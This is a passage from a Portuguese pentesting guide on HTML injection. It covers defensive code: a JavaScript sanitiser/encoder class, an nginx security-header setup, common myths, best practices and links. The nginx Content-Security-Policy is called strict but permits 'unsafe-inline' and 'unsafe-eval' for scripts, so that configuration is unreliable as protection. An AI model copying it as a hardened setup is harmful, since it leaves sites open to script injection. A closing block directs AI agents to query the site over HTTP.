            allowHTML: context.allowHTML,
            allowedTags: context.allowedTags || [],
            allowedAttributes: context.allowedAttributes || []
        });
        
        // Sanitização ou encoding baseado no contexto
        if (context.allowHTML) {
            return this.sanitizer.sanitize(validated);
        } else {
            return this.encoder.encodeForHTML(validated);
        }
    }
    
    renderUserContent(userData, template, context) {
        const templateEngine = new SecureTemplateEngine();
        
        if (context.safeHTML) {
            return templateEngine.renderSafeHTML(template, userData);
        } else {
            return templateEngine.render(template, userData, context.encoding);
        }
    }
}

// Uso em aplicação real
const security = new HTMLInjectionProtection();

// Para texto simples
const safeText = security.processUserInput(userInput, {
    allowHTML: false
});

// Para HTML formatado seguro
const safeHTML = security.processUserInput(userHTML, {
    allowHTML: true,
    allowedTags: ['p', 'strong', 'em', 'br', 'ul', 'li'],
    allowedAttributes: ['class']
});

// Renderização segura
const renderedContent = security.renderUserContent(
    { username: userInput, content: userHTML },
    '<div class="user">{{username}} says: {{content}}</div>',
    { safeHTML: true }
);
```

### **Configuração de Segurança Avançada**

```nginx
# Configuração Nginx com máxima segurança
server {
    listen 443 ssl;
    server_name example.com;
    
    # Headers de segurança
    add_header X-Frame-Options "DENY" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-XSS-Protection "1; mode=block" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    
    # Content Security Policy rigoroso
    add_header Content-Security-Policy "
        default-src 'self';
        script-src 'self' 'unsafe-inline' 'unsafe-eval';
        style-src 'self' 'unsafe-inline';
        img-src 'self' data: https:;
        font-src 'self';
        connect-src 'self';
        object-src 'none';
        base-uri 'self';
        form-action 'self';
        frame-ancestors 'none';
        upgrade-insecure-requests;
    " always;
    
    # Prevenção de MIME sniffing
    location ~* \.(html|htm)$ {
        add_header X-Content-Type-Options "nosniff";
        types { text/html html htm; }
    }
    
    # Proteção para uploads
    location /uploads/ {
        # Não executar arquivos HTML
        location ~ \.html?$ {
            return 403;
        }
        
        # Headers adicionais para arquivos
        add_header X-Content-Type-Options "nosniff";
    }
}
```

***

## **⚠️ Considerações Finais**

### **Mitos Comuns sobre HTML Injection**

* ❌ "HTML Injection é menos perigoso que XSS" → **FALSO** (pode levar a phishing e defacement)
* ❌ "Encoding HTML resolve tudo" → **FALSO** (depende do contexto de saída)
* ❌ "Apenas inputs de texto são vulneráveis" → **FALSO** (múltiplos vetores)
* ❌ "WAFs previnem completamente" → **FALSO** (são camadas de defesa complementares)

### **Boas Práticas Essenciais**

1. **Defesa em Profundidade**: Múltiplas camadas de proteção
2. **Context Awareness**: Encoding apropriado para cada contexto
3. **Whitelist Approach**: Permitir apenas o conhecidamente seguro
4. **Continuous Testing**: Testes regulares de segurança

### **Tendências e Futuro**

* Ataques mais sofisticados combinando múltiplas técnicas
* Exploração de APIs modernas e Web Components
* Ataques a aplicações mobile via WebView
* Uso de IA para detecção e prevenção

**🔐 Lembre-se**: HTML Injection é frequentemente subestimada, mas pode ser a porta de entrada para ataques sérios. Implemente proteções adequadas desde o design da aplicação.

***

## **🚀 Próximos Passos**

### **Ações Imediatas**

1. **Auditar aplicações existentes** para vulnerabilidades HTML injection
2. **Implementar encoding contextual** em todos os pontos de saída
3. **Configurar CSP** adequado para sua aplicação

### **Melhorias Contínuas**

1. **Automatizar testes** de segurança
2. **Implementar monitoramento** em tempo real
3. **Manter-se atualizado** sobre novas técnicas de ataque

### **Recursos Adicionais**

* [OWASP HTML Injection](https://owasp.org/www-community/attacks/HTML_Injection)
* [MDN Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)
* [DOMPurify - HTML Sanitizer](https://github.com/cure53/DOMPurify)
* [XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)

**🎯 Objetivo Final**: Desenvolver uma cultura de segurança onde a prevenção de injeção HTML seja parte integrante do desenvolvimento, não uma reflexão tardia.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/front-end/html-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.